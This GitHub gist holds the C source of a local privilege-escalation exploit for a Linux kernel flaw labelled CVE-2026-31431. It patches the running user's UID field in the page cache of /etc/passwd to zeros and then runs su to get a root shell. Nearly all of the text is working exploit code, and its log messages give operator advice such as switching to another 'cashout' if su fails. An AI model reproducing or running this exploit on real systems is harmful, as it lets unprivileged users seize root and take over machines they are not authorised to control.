Skip to content

Instantly share code, notes, and snippets.

@spynika
Created June 4, 2026 07:19
Show Gist options
  • Select an option

  • Save spynika/5a7493888e350d8c96772bff995cef0f to your computer and use it in GitHub Desktop.

Select an option

Save spynika/5a7493888e350d8c96772bff995cef0f to your computer and use it in GitHub Desktop.
/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */
/*
* Copy Fail -- CVE-2026-31431 -- /etc/passwd UID-flip variant.
*
* Mutates /etc/passwd's page cache to set the running user's UID field
* to "0000", then execs `su <user>`. PAM authenticates against
* /etc/shadow (untouched) using the user's real password; on success,
* su's setuid() reads the corrupted /etc/passwd from the page cache and
* lands in a root shell.
*
* Compared to exploit.c (the binary-mutation variant), this works on
* any system where /etc/passwd is world-readable (every standard Linux
* system) including environments that harden setuid binaries against
* unprivileged read access.
*
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pwd.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "utils.h"
/* Find the byte offset of the UID field for `username` in /etc/passwd.
* Returns -1 on error or if the user is not found. */
static off_t find_uid_offset(const char *username) {
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) { perror("open(/etc/passwd)"); return -1; }
char buf[65536];
ssize_t n = read(fd, buf, sizeof buf - 1);
close(fd);
if (n <= 0) { perror("read(/etc/passwd)"); return -1; }
buf[n] = '\0';
size_t namelen = strlen(username);
char *line = buf;
while (line < buf + n) {
char *eol = memchr(line, '\n', (buf + n) - line);
size_t linelen = eol ? (size_t)(eol - line) : (size_t)((buf + n) - line);
if (linelen > namelen + 1 &&
memcmp(line, username, namelen) == 0 &&
line[namelen] == ':') {
/* line: name:x:UID:GID:gecos:home:shell */
char *colon1 = memchr(line, ':', linelen);
if (!colon1) break;
char *colon2 = memchr(colon1 + 1, ':', linelen - (size_t)(colon1 + 1 - line));
if (!colon2) break;
return (off_t)((colon2 + 1) - buf);
}
if (!eol) break;
line = eol + 1;
}
fprintf(stderr, "[-] could not find user %s in /etc/passwd\n", username);
return -1;
}
int main(void) {
uid_t uid = getuid();
struct passwd *pw = getpwuid(uid);
if (!pw) { perror("getpwuid"); return 1; }
fprintf(stderr, "[+] user: %s (uid=%u)\n", pw->pw_name, uid);
off_t uid_offset = find_uid_offset(pw->pw_name);
if (uid_offset < 0) return 1;
fprintf(stderr, "[+] /etc/passwd UID field at offset %lld\n",
(long long)uid_offset);
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) { perror("open(/etc/passwd)"); return 1; }
/* Read up to 10 digits starting at uid_offset to find the field length. */
char fieldbuf[12] = { 0 };
ssize_t nr = pread(fd, fieldbuf, sizeof fieldbuf - 1, uid_offset);
if (nr < 1) { perror("pread"); close(fd); return 1; }
/* Find length of the existing UID field (up to next ':') */
int old_uid_len = 0;
while (old_uid_len < nr && fieldbuf[old_uid_len] != ':')
old_uid_len++;
if (old_uid_len == 0 || old_uid_len > 10) {
fprintf(stderr, "[-] could not determine UID field length\n");
close(fd); return 1;
}
/* Left-pad old_uid_len.
* /etc/passwd allows leading zeros so 0000 is uid 0. */
char padded[11];
memset(padded, '0', old_uid_len);
padded[old_uid_len] = '\0';
fprintf(stderr, "[+] old field: \"%.*s\" (%d bytes), new field: \"%s\" (%d bytes)\n",
old_uid_len, fieldbuf, old_uid_len, padded, old_uid_len);
/* New sanity check: verify the existing field matches getuid() to avoid corrupting /etc/passwd */
char expected[11];
snprintf(expected, sizeof expected, "%u", uid);
int expected_len = (int)strlen(expected);
if (old_uid_len < expected_len ||
memcmp(fieldbuf + old_uid_len - expected_len, expected, expected_len) != 0) {
fprintf(stderr,
"[-] sanity check failed: field \"%.*s\" doesn't end with "
"expected uid \"%s\"\n",
old_uid_len, fieldbuf, expected);
close(fd); return 1;
}
fprintf(stderr, "[+] sanity check ok\n");
/* Patch in 4-byte chunks. Read-modify-write for the final chunk if partial */
for (int off = 0; off < old_uid_len; off += 4) {
unsigned char chunk[4];
int n = old_uid_len - off < 4 ? old_uid_len - off : 4;
if (n < 4 && pread(fd, chunk, 4, uid_offset + off) != 4) {
perror("pread on final chunk");
close(fd); return 1;
}
memcpy(chunk, padded + off, n);
if (patch_chunk(fd, uid_offset + off, chunk) < 0) {
fprintf(stderr, "[-] page-cache mutation failed at offset %lld\n",
(long long)(uid_offset + off));
close(fd); return 1;
}
}
close(fd);
fprintf(stderr,
"[+] /etc/passwd page cache mutated; %s's UID is now %s\n",
pw->pw_name, padded);
fprintf(stderr,
"[+] attempting cashout via `su %s`\n", pw->pw_name);
fprintf(stderr,
"[!] If su fails with \"Cannot determine your user name\"\n"
" (shadow-utils' caller-identity check), the page cache\n"
" mutation is still active. Pivot to another cashout\n"
" that consults /etc/passwd.\n");
fprintf(stderr,
"[+] cleanup after testing (run as root):\n"
" echo 3 > /proc/sys/vm/drop_caches\n\n");
execlp("su", "su", pw->pw_name, (char *)NULL);
perror("execlp(su)");
return 1;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment